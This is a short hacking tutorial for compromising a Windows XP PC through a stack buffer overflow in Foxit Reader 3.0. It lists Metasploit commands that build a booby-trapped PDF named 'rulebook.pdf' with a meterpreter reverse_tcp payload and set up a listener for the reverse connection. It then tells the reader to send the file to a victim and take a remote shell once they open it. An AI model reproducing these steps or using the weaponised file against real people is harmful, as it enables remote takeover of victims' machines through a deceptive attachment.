Hack Windows PC using Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow

 This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier. Due to the way Foxit Reader handles the input from an “Launch” action, it is possible to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code execution under the context of the user.

Exploit Targets

Foxit Reader 3.0

Windows XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/foxit_reader_launch

Msf exploit (foxit_reader_launch)>set payload windows/meterpreter/reverse_tcp

Msf exploit (foxit_reader_launch)>set lhost (IP of Local Host)

Msf exploit (foxit_reader_launch)>set filename rulebook.pdf

Msf exploit (foxit_reader_launch)>exploit

After we successfully generate the malicious PDF File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your rulebook.pdf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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